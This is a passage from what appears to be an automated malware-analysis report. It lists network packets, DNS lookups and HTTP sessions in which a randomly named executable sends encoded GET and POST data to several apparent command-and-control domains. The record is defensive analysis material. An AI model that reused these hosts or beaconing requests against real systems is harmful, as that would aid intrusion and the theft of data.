Nov 22, 2024 12:42:46.715779066 CET	80	49843	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:46.715914965 CET	80	49843	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:46.715967894 CET	49843	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:46.881462097 CET	49843	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:47.899976015 CET	49850	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:48.019548893 CET	80	49850	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:48.019642115 CET	49850	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:48.032150030 CET	49850	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:48.152157068 CET	80	49850	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:49.383327007 CET	80	49850	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:49.383393049 CET	80	49850	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:49.383452892 CET	49850	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:49.383929014 CET	80	49850	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:49.383981943 CET	49850	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:49.537841082 CET	49850	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:50.642081022 CET	49859	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:50.761821985 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:50.761966944 CET	49859	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:50.814327955 CET	49859	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:50.933983088 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:50.934242010 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:50.934278965 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:50.934329987 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:50.934360981 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:50.934458017 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:50.934484959 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:50.934552908 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:50.934582949 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:52.183542967 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:52.184073925 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:52.184108973 CET	80	49859	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:52.184148073 CET	49859	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:52.184230089 CET	49859	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:52.334660053 CET	49859	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:53.397495031 CET	49866	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:53.518520117 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:53.518625975 CET	49866	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:53.569525003 CET	49866	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:53.689410925 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964524984 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964586020 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964608908 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964627981 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964639902 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964651108 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964663982 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964740038 CET	49866	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:54.964772940 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964817047 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964817047 CET	49866	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:54.964829922 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.964868069 CET	49866	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:54.964900970 CET	49866	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:54.976654053 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:54.977082968 CET	49866	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:54.979670048 CET	49866	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:55.099241972 CET	80	49866	172.67.220.36	192.168.2.4
Nov 22, 2024 12:43:00.460308075 CET	49882	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:00.580061913 CET	80	49882	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:00.580172062 CET	49882	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:00.595241070 CET	49882	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:00.716284037 CET	80	49882	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:01.931945086 CET	80	49882	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:01.932248116 CET	80	49882	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:01.932322025 CET	49882	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:02.100275993 CET	49882	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:03.417714119 CET	49888	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:03.537348032 CET	80	49888	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:03.537434101 CET	49888	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:03.552467108 CET	49888	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:03.672174931 CET	80	49888	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:04.796037912 CET	80	49888	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:04.796160936 CET	80	49888	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:04.796232939 CET	49888	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:05.069042921 CET	49888	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:06.525823116 CET	49899	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:06.645481110 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:06.647138119 CET	49899	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:06.668729067 CET	49899	80	192.168.2.4	194.245.148.189
Nov 22, 2024 12:43:06.788604975 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:06.788692951 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:06.788722038 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:06.788753986 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:06.788863897 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:06.788896084 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:06.788989067 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:06.789020061 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:06.789067030 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:08.086833000 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:08.086872101 CET	80	49899	194.245.148.189	192.168.2.4
Nov 22, 2024 12:43:08.086956024 CET	49899	80	192.168.2.4	194.245.148.189

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 12:42:12.272578955 CET	52864	53	192.168.2.4	1.1.1.1
Nov 22, 2024 12:42:12.994539976 CET	53	52864	1.1.1.1	192.168.2.4
Nov 22, 2024 12:42:29.776873112 CET	58450	53	192.168.2.4	1.1.1.1
Nov 22, 2024 12:42:30.272712946 CET	53	58450	1.1.1.1	192.168.2.4
Nov 22, 2024 12:42:44.900434971 CET	64041	53	192.168.2.4	1.1.1.1
Nov 22, 2024 12:42:45.231585026 CET	53	64041	1.1.1.1	192.168.2.4
Nov 22, 2024 12:43:00.037123919 CET	53633	53	192.168.2.4	1.1.1.1
Nov 22, 2024 12:43:00.457616091 CET	53	53633	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 22, 2024 12:42:12.272578955 CET	192.168.2.4	1.1.1.1	0xfa7f	Standard query (0)	www.qqa79.top	A (IP address)	IN (0x0001)	false
Nov 22, 2024 12:42:29.776873112 CET	192.168.2.4	1.1.1.1	0x96e3	Standard query (0)	www.1secondlending.one	A (IP address)	IN (0x0001)	false
Nov 22, 2024 12:42:44.900434971 CET	192.168.2.4	1.1.1.1	0x1a2a	Standard query (0)	www.supernutra01.online	A (IP address)	IN (0x0001)	false
Nov 22, 2024 12:43:00.037123919 CET	192.168.2.4	1.1.1.1	0x37db	Standard query (0)	www.wine-drinkers.club	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 22, 2024 12:42:12.994539976 CET	1.1.1.1	192.168.2.4	0xfa7f	No error (0)	www.qqa79.top	qqa79.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 12:42:12.994539976 CET	1.1.1.1	192.168.2.4	0xfa7f	No error (0)	qqa79.top		38.47.233.21	A (IP address)	IN (0x0001)	false
Nov 22, 2024 12:42:30.272712946 CET	1.1.1.1	192.168.2.4	0x96e3	No error (0)	www.1secondlending.one		43.205.198.29	A (IP address)	IN (0x0001)	false
Nov 22, 2024 12:42:45.231585026 CET	1.1.1.1	192.168.2.4	0x1a2a	No error (0)	www.supernutra01.online		172.67.220.36	A (IP address)	IN (0x0001)	false
Nov 22, 2024 12:42:45.231585026 CET	1.1.1.1	192.168.2.4	0x1a2a	No error (0)	www.supernutra01.online		104.21.24.198	A (IP address)	IN (0x0001)	false
Nov 22, 2024 12:43:00.457616091 CET	1.1.1.1	192.168.2.4	0x37db	No error (0)	www.wine-drinkers.club		194.245.148.189	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.qqa79.top

www.1secondlending.one

www.supernutra01.online

www.wine-drinkers.club

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49768	38.47.233.21	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:42:13.137100935 CET	444	OUT	GET /mz0w/?qjBT=BfTHe4BP_zkdflN&AFF=uMzU0JGK22aEYJLN9gIRRbcx6PQvWyWv0SPCs66KRtTFzrJJ373CiBnwq6iLrm6CBfWGplZZf3wVkFmev9wws6pM55HNj3BAq/9ra29WeR04lUyUIOcydT8= HTTP/1.1 Host: www.qqa79.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Nov 22, 2024 12:42:14.707618952 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 11:42:14 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49808	43.205.198.29	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:42:30.421319008 CET	725	OUT	POST /6pwo/ HTTP/1.1 Host: www.1secondlending.one Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 200 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.1secondlending.one Referer: http://www.1secondlending.one/6pwo/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 41 46 46 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 71 53 30 68 38 78 6f 2f 46 68 77 57 47 42 70 4b 5a 57 54 4e 50 78 35 6e 73 32 31 56 41 55 6b 6f 62 58 71 71 64 5a 45 48 53 51 4e 7a 6c 79 46 4d 68 37 69 6b 39 2f 4f 64 72 48 41 61 4d 6b 41 70 41 52 62 65 75 55 6e 4f 6a 32 6f 30 62 45 72 51 73 41 4d 41 75 39 32 55 4a 41 6b 6d 76 37 63 4a 50 38 4c 6a 75 6a 79 62 56 76 61 63 51 75 6c 79 67 38 63 30 36 70 59 6f 41 75 33 37 65 6e 6a 69 67 6f 50 45 5a 38 63 68 6c 49 65 57 43 4d 6b 65 55 53 58 79 73 46 69 32 43 72 48 35 36 58 39 6f 6f 42 67 2b 52 6a 4b 34 67 51 45 2f 2b 4a 78 50 70 70 59 67 52 41 3d 3d Data Ascii: AFF=DewrBs2mT9lmqS0h8xo/FhwWGBpKZWTNPx5ns21VAUkobXqqdZEHSQNzlyFMh7ik9/OdrHAaMkApARbeuUnOj2o0bErQsAMAu92UJAkmv7cJP8LjujybVvacQulyg8c06pYoAu37enjigoPEZ8chlIeWCMkeUSXysFi2CrH56X9ooBg+RjK4gQE/+JxPppYgRA==
Nov 22, 2024 12:42:31.999907970 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 11:42:31 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49815	43.205.198.29	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:42:33.086255074 CET	745	OUT	POST /6pwo/ HTTP/1.1 Host: www.1secondlending.one Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 220 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.1secondlending.one Referer: http://www.1secondlending.one/6pwo/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 41 46 46 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 70 78 38 68 35 53 77 2f 4e 68 77 56 4e 68 70 4b 51 32 54 4a 50 78 31 6e 73 33 67 4f 41 69 55 6f 62 31 79 71 61 63 77 48 52 51 4e 7a 78 69 46 56 76 62 69 76 39 2f 53 2f 72 47 4d 61 4d 67 6f 70 41 52 4c 65 75 6a 7a 50 69 6d 6f 4d 57 6b 72 53 7a 77 4d 41 75 39 32 55 4a 41 67 49 76 37 45 4a 4d 50 54 6a 76 47 47 59 57 76 61 66 47 2b 6c 79 6b 38 63 34 36 70 5a 48 41 71 33 42 65 6c 62 69 67 74 72 45 5a 76 45 69 73 49 66 38 47 4d 6c 58 46 51 43 56 72 67 58 6c 49 61 71 59 6b 47 38 51 67 6e 74 6b 41 53 72 76 79 51 67 4d 6a 4f 34 37 6b 71 6c 70 4b 4b 71 4d 66 50 4a 2b 66 45 42 6b 53 6d 41 65 57 41 6e 36 47 5a 67 3d Data Ascii: AFF=DewrBs2mT9lmpx8h5Sw/NhwVNhpKQ2TJPx1ns3gOAiUob1yqacwHRQNzxiFVvbiv9/S/rGMaMgopARLeujzPimoMWkrSzwMAu92UJAgIv7EJMPTjvGGYWvafG+lyk8c46pZHAq3BelbigtrEZvEisIf8GMlXFQCVrgXlIaqYkG8QgntkASrvyQgMjO47kqlpKKqMfPJ+fEBkSmAeWAn6GZg=
Nov 22, 2024 12:42:34.668154001 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 11:42:34 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49821	43.205.198.29	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 12:42:35.754379034 CET	10827	OUT	POST /6pwo/ HTTP/1.1 Host: www.1secondlending.one Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 10300 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.1secondlending.one Referer: http://www.1secondlending.one/6pwo/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 41 46 46 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 70 78 38 68 35 53 77 2f 4e 68 77 56 4e 68 70 4b 51 32 54 4a 50 78 31 6e 73 33 67 4f 41 69 63 6f 62 41 75 71 61 37 73 48 51 51 4e 7a 79 69 46 51 76 62 69 2b 39 2f 4b 37 72 47 51 56 4d 6d 73 70 42 79 54 65 73 53 7a 50 6f 6d 6f 4d 4b 55 72 52 73 41 4d 76 75 39 6d 71 4a 44 49 49 76 37 45 4a 4d 4f 6a 6a 76 54 79 59 51 76 61 63 51 75 6c 45 67 38 63 63 36 70 77 77 41 71 37 72 65 52 76 69 67 4e 62 45 63 64 63 69 77 59 65 61 4c 73 6c 50 46 51 65 4b 72 6d 7a 70 49 61 76 4e 6b 47 49 51 6c 51 63 39 48 7a 6e 48 70 44 6f 57 38 74 6b 6a 6c 39 4a 71 55 4a 75 34 5a 74 70 59 41 33 6b 54 58 57 4a 4a 4b 69 66 37 5a 75 73 73 79 4f 4e 5a 68 55 64 4b 41 73 61 4b 56 73 4c 47 64 6e 6c 76 48 43 7a 48 7a 67 31 4b 4c 62 6d 4e 36 36 43 4e 6a 57 75 50 54 6a 32 71 66 37 76 45 41 6f 32 76 51 66 4b 7a 63 50 34 36 46 4a 43 47 53 53 71 61 70 75 4f 42 6d 44 77 70 75 79 54 39 4d 78 73 6c 2b 7a 64 35 45 56 32 57 57 4e 68 53 76 56 65 62 79 57 32 30 6a 72 4a 53 38 4b 38 49 4a 72 30 33 63 77 [TRUNCATED] Data Ascii: AFF=DewrBs2mT9lmpx8h5Sw/NhwVNhpKQ2TJPx1ns3gOAicobAuqa7sHQQNzyiFQvbi+9/K7rGQVMmspByTesSzPomoMKUrRsAMvu9mqJDIIv7EJMOjjvTyYQvacQulEg8cc6pwwAq7reRvigNbEcdciwYeaLslPFQeKrmzpIavNkGIQlQc9HznHpDoW8tkjl9JqUJu4ZtpYA3kTXWJJKif7ZussyONZhUdKAsaKVsLGdnlvHCzHzg1KLbmN66CNjWuPTj2qf7vEAo2vQfKzcP46FJCGSSqapuOBmDwpuyT9Mxsl+zd5EV2WWNhSvVebyW20jrJS8K8IJr03cwTusHfKNK+b8NMbZvyo3kJ7qyg4qk5pOBS3wF2hzetT3DqGjSwHOxQDAh41gwQTtFE6iL3+QBWCXrHTetjavPTS4b8WOvA8lBef6FvEGLF5KVlalTkTH2RDNcEJ9II/qHxFP9Xgl9FtHCOhVSCDmDdC3x1insdBhN4JEGcc6ZyV9Ur80Ip1HFrferfNz7tHsCDdzXPyMXZkU3xBSc+WExyA9w2868FNMMSKIbsIuiKxBbWgrKj6vmJlCiAt+dtvGaIvPujJCw+YyDeSEfbyKSRqvg0tAJDlm021EPXgPP/MufnQeYGa3U98YwEJ0Ku903b7phL9CZwzRCO8WTyH/49PnKY7Jap7KV+rzx9pPDLccggEyDcinMy6Orou26ahDDGNYYYY1ceuKulebTOsshiBexq6vRfiL6Dcs4QarXRxbOX5ecYhgKhSwIOTeVDJG159BPC6MPU/r2VMJw/nZ2l0bp6yGChriZe4z0obdNwsvxRMrodJjiYgc2V5t+5Y+Kj2ROjJtHInCr+5+XyKtYrfSlnEy+XRcYpgcDYbwx5rYhFjiKbozvFnuyrg/mLxKwXzIEV37cpMz24emmehF1lDdyotCeqXRo+czPHDwRkmJSzdtYp/+QnkS5R9WhTQ8+DpDQNnC7PR6Et+Fy9Ce0kbSCOKEj/yQQpt [TRUNCATED]
Nov 22, 2024 12:42:37.269301891 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Nov 2024 11:42:37 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49827	43.205.198.29	80	4548	C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Timestamp	Bytes transferred	Direction	Data
